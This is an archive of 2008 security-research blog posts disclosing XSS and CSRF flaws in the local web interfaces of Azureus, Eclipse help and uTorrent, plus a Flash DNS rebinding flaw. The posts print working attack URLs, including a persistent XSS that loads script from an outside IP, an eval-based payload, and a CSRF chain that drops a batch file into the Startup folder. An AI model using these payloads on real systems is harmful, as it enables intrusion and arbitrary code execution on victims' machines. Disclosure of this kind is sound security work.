Wednesday, April 30, 2008

[ Azureus Web UI XSS ]

Like I said in my uTorrent CSRF post, "more torrent pwnage to come soon". Here it is.


The web UI plugin for Azureus is vulnerable to XSS which leads to Cross Zone scripting attacks since it starts up a web server on the local host and runs a web application.

I won't take the time to explain what all this means since I've done that at length in previous posts. I'll just summarize and say that through these vectors the user is vulnerable to arbitrary command execution, arbitrary read/write of files, and bypass of the same-origin policy (depending on the browser version the victim is using). Let's get right to the attacks.


http://localhost:6886/index.tmpl?search="));alert('xss');//

The vector listed above is one that I found in the search functionality of Azureus.

http://localhost:6886/index.tmpl?d=d&t="));alert('xss');//

And this one Nate found in the torrent details functionality. Obviously the "alert"s are just for PoC.


The post I referenced in a previous blog entry where I disclosed my uTorrent flaws has an example of an interesting CSRF related to the Azureus web UI, although this doesn't lead to system compromise necessarily.

Anyway, this is just another example of how web applications that have been coded with little thought towards security being run on your local machine are highly dangerous.

Labels: , , , , , , , , , , ,

Thursday, April 24, 2008

[ Eclipse Local Web Server Exploitation ]

I'm starting to feel a bit redundant here...


Oh well. I've been told that there is a patch available now for this issue so I'm free to talk about it.

I discovered XSS vulnerabilities in the Eclipse help system. Apparently just about all products based on Eclipse are/were vulnerable.

Since the vulnerability is XSS in a locally running web server (hrm, where have we heard that before...) if the user is running IE they may be in trouble.


When you click on Help -> Help Contents a web server is started up on the local machine. Upon further investigation I discovered that this server is an Apache Coyote 1.1 web server. The web server seems to be started on a pseudo-random port but it felt like a lot of the port numbers were used quite frequently. I never performed any kind of analysis on the random number generation for the port number so I'll leave that to someone else if they want to.

Anyway, let's get to the pwnage. Here's the location of the reflected XSS in the Eclipse Help System:

http://localhost:port/help/advanced/searchView.jsp?searchWord=a");}alert('xss');
</script>


Here's the location of the persistent XSS:

http://localhost:port/help/advanced/workingSetManager.jsp?operation=add&
workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%3E
&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName=

One thing I did find particularly interesting was trying to work around the fact that when I exploited the reflective XSS the web app did not change %20's back into spaces. It took a little thinking to get around this, but I managed.

So how does one write a Javascript payload with no spaces? Pretty simply actually. Let's take this snippet of sample code that we want to use for our payload:

function f(){
    var hr = new ActiveXObject("Msxml2.XMLHTTP");
    hr.onreadystatechange = function(){
       alert(hr.responseText);
    };
    hr.open("GET","http://www.google.com",true);
    hr.send(null);
}

setTimeout('f()',2000);

First of all, the "var" keyword is not needed. You can perform implicit variable declaration in Javascript. But what about the rest? What I did was get rid of all the whitespace that wasn't needed and came up with this:

function f(){hr=new ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=function(){
alert(hr.responseText);};hr.open("GET","http://www.google.com",true);hr.send(null);}
setTimeout('f()',2000);

That's pretty messy looking, but there are still spaces in there. What I did next was put that entire thing into a string and replaced the spaces with "..".

b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=
function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);
hr.send(null);}setTimeout('f()',2000);";

But if you eval that string it's not going to work because of the ".." characters replacing the spaces. Just use the replace function!

b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=
function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);
hr.send(null);}setTimeout('f()',2000);";
a=a.replace(/\.\./g,String.fromCharCode(32));
eval(a);

If we put it all together we have this as our XSS attack string:

http://127.0.0.1:55610/help/advanced/searchView.jsp?searchWord=a");}b="function..f
(){hr=new..ActiveXObject(\"Msxml2.XMLHTTP\");hr.onreadystatechange=function()..{
alert(hr.responseText);};hr.open(\"GET\",\"http://www.google.com\",true);hr.send
(null);}setTimeout('f()',2000);";b=b.replace(/\.\./g,String.fromCharCode(32));
eval(b);</script>


Labels: , , , , , , ,

Sunday, April 20, 2008

[ toorcon Seattle was Awesome ]

I had a great time at toorcon Seattle. The talks were awesome.


Dan Kaminsky dropped a bomb about how ISPs were taking non-existent subdomains and redirecting them to ad-servers. And let's say these web sites serving up these ads contain an XSS...yeah, MASS pwnage. Gotta love how docucment.domain works. Dan actually rickrolled us all.

And then John Heasman's talk about the Java browser plugin and Java Web Start was equally enlightening. Sun has some major problems in their implementations of certain aspects of Java. Anyway, I hope Kev is included more in the next version of his talk...

Katie Moussouris gave a pretty interesting talk on her role at Microsoft and what they're trying to do for responsible disclosure...WHAT? I said Microsoft really is advocating responsible disclosure these days...WHAT?! I said Microsoft seems to really be turning things around...OK!!!!


The talk Nate and I did on URI Use and Abuse seemed to get a good response as well. Anyway, there were other great talks that I'm too tired to include right now, but I just want to commend the toorcon team. They really outdid themselves with the parties they threw at the Public N3rd Area and the Last Supper Club. Hats off to all of them. Toorcon San Diego last year was the first one I had ever been to but I'm going to try to make it a point to come back to as many toorcons as possible.


Especially the one in the cooling tower of the half-built nuclear plant!

Labels: , , , , , , , ,

Saturday, April 19, 2008

[ uTorrent Pwn3d ]

I was going to keep this under my hat, so to speak, but this has forced my hand.


I found a few CSRFs that when put together can make a pretty devastating attack against uTorrent's Web UI and the underlying system. Basically you can force uTorrent to move completed downloads to an arbitrary directory on their system, download arbitrary torrents, and completely pwn their box.

This guy from rooksecurity.com had a couple interesting CSRFs that will change the username and password required for the Web UI. But, in order for the attacker to change the username and password the user must already be authenticated...so why go to all that trouble? For this attack we're going to assume that the user is already authenticated to uTorrent's Web UI.

First of all you need a way to get a file on their computer. Not only that, but you want to be able to put that file in an arbitrary location of your choosing. To do that you need to turn on uTorrent's "Move completed downloads to" option.


Then you need to tell uTorrent what directory to move the completed file to.


The URL is cut off in the screenshot, so here's what's actually happening:

http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\
Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

And this is what uTorrent's downloads preferences should now look like:


Completed files will be moved to the All Users Startup folder and once we can force them to download files we effectively have pwnage. I actually can force them to download a torrent by doing the following:

http://localhost:14774/gui/?action=add-url&s=http://www.whatever.com/file.torrent

Let's say that the torrent makes uTorrent download pwn.bat. Once the download finishes, pwn.bat resides in the Startup folder and gets executed when the user reboots. But wait, it gets worse...

uTorrent has an XSS in the Web UI! Remember my previous two posts about the dangers of local web servers? There are actually a few different spots to exploit this. Here are the PoC strings for the XSS vectors.

http://localhost:14774/gui/?action=setsetting&s=tracker_ip&
v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=ct_hist_comm&
v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=dir_active_download&
v=%3Cscript%3Ealert('xss')%3C/script%3E


These are ALL persistent XSS attacks. To make the malicious Javascript fire you need to force the user's browser to visit

http://localhost:14774/gui/?action=getsettings

Remember, the "localhost" portion is VERY important because you want to perform a Cross ZONE Scripting attack, not just XSS. You could use "loopback" in place of "localhost" as well. So, moving on...


If your target is using IE 6 then you don't have to force them to download a file to the Startup folder and wait for them to restart their box. All you have to do is force them to download the file to a location like C:\ and then execute it for them with the WScript.Shell ActiveXObject since your Javascript is in the Local Intranet zone.


Pwn3d. Stay tuned, more torrent pwnage to come soon...

Labels: , , , , , , , , ,

[ toorcon Seattle ]

Well, I'm in the beautiful city of Seattle and have just enjoyed the first night of the conference put on by h1kar1 and team. I loved the live DJ's and the Public N3rd Area.

But before I got there, I saw this on one of the screens at the airport in my home town:


At least they've upgraded from 98 to XP... Sorry for the blurry picture quality, I was in a hurry.

But it's time for me to get some sleep. Nate and I have to rework our talk to fit into a 20 minute slot. Can't wait to hear Dan Kaminsky and John Heasman's talks.

Labels: , , , , ,

Wednesday, April 16, 2008

[ Attack 0f T3h D0wd ]

I know everybody else has already blogged about this, but it impressed me so much I have to say something too. Nate and my Flash pwnage pales in comparison...

Labels: , , , ,

Wednesday, April 09, 2008

[ Flash DNS Rebinding Attack Explained ]

Instead of waiting a couple days to post about this, I guess I'll do it now. It's a pretty interesting flaw and since no one has posted the technical details of it yet, I'll be the one to do it.

First of all, this attack relies on DNS canonicalization differences between the browser and Flash. I'm going to pick on IE for this example.

So let's say your DNS search domain is mycompany.com and let's say your browser tries to go to the evil.com website. If evil.com can't be reached your system will start to look through your search domain by performing a DNS lookup for evil.com.mycompany.com (this is difficult because I need to be careful of my use of periods).

On the other hand, if your browser tries to go to evil.com. (notice the dot(.) on the end of that domain name) and it can't connect to it then it won't do any further lookups. It treats evil.com. as an absolute domain (I'm probably not using that terminology correctly, oh well).

The important thing to know here is that IE and Flash treat the differences between evil.com and evil.com. differently.


IE:
You go to evil.com, DNS lookup is performed for evil.com, the browser pins the resulting IP to evil.com and life is good. Then you go to evil.com., IE sees evil.com. as a totally DIFFERENT domain, performs a DNS lookup, pins that IP to evil.com. and life is still good.

All of the cross domain restrictions are in place that you would normally have. XMLHTTP requests are blocked, iframes are protected, etc.


Flash:
The SWF originates from the evil.com domain so URLLoader requests can only be made back to the same domain. But, Flash sees evil.com and evil.com. as THE SAME DOMAIN.


Attack:
Armed with the information above, we can come up with an attack scenario. Since IE treats evil.com and evil.com. as different domains and Flash treats them as the SAME domain, this means pwnage.

Flash allows requests to be made for evil.com. since it sees that as being the originating domain, it passes them off to IE which sees evil.com. as a DIFFERENT domain and performs a DNS lookup. By this time the attacker has changed the IP address for evil.com, either manually or automatically. IE performs the HTTP request for evil.com., passes that result back to Flash and it has now been pwned.


There is one obvious issue with what I've described above: How do you get the information you've obtained through your nefarious means back to your server if you're the attacker? Now that the domain evil.com is rebound in Flash it doesn't seem like an easy proposition.

That's where crossdomain.xml and the Socket class come in. If you have a crossdomain.xml file on your server and another domain name associated with that server, like 0mgurs0pwn3d.com, you can connect back and send the information you've stolen through binary (or probabably even XML) sockets.

Like I mentioned before, Nate and I used this exact flaw in our Picasa exploitation. I couldn't get traditional Anti-DNS Pinning working reliably so came up with this solution.

Labels: , , , , , , ,

[ Flash DNS Rebinding Flaw Fixed ]

Well, I guess I can talk about it now since they've fixed it. Nate and I found a DNS rebinding flaw in Adobe Flash that had to do with domain name canonicalization. I'm going to post a more in depth explanation of how it worked in the coming days but I'm too busy for that right now.


Anyway, just a quick hint, this issue is actually the one we used to pull of our Picasa exploit in a reliable fasion...

edit: I would also like to point out that this is not the issue pdp found that he used to exploit routers via CSRF. I think the CVE we are given credit for in the Adobe advisory may be incorrect because it does not describe the vulnerability we discovered.

edit 2: Apparently the CVE reference was a typo on Adobe's part. Should be fixed soon hopefully. Also, there were 7 separate vulnerabilities addressed in the patch that was released including the flaw used to bring the Vista system to its knees in Pwn2Own.

edit 3: The CVE for the DNS Rebinding vulnerability is CVE-2008-1655.

Labels: , , , , , ,

Friday, April 04, 2008

[ More On Local Web Servers ]

Just thought I'd post a little discovery I made on the plane-ride home from San Jose. I was looking around in the C:\WINDOWS\system32\drivers\etc directory where the "hosts" file resides and found a file called "networks".


In this file there's a line that looks like this:

loopback                 127

Interesting. I fired up my little web server script that I wrote in Perl, entered "http://loopback" into the address bar of Internet Explorer and magically, I'm in the Local Intranet zone, our sweet spot from my previous post on this topic.


So this is yet another way we can perform Cross Zone Scripting if there's an XSS on a locally running web server.

Labels: , , , , , , ,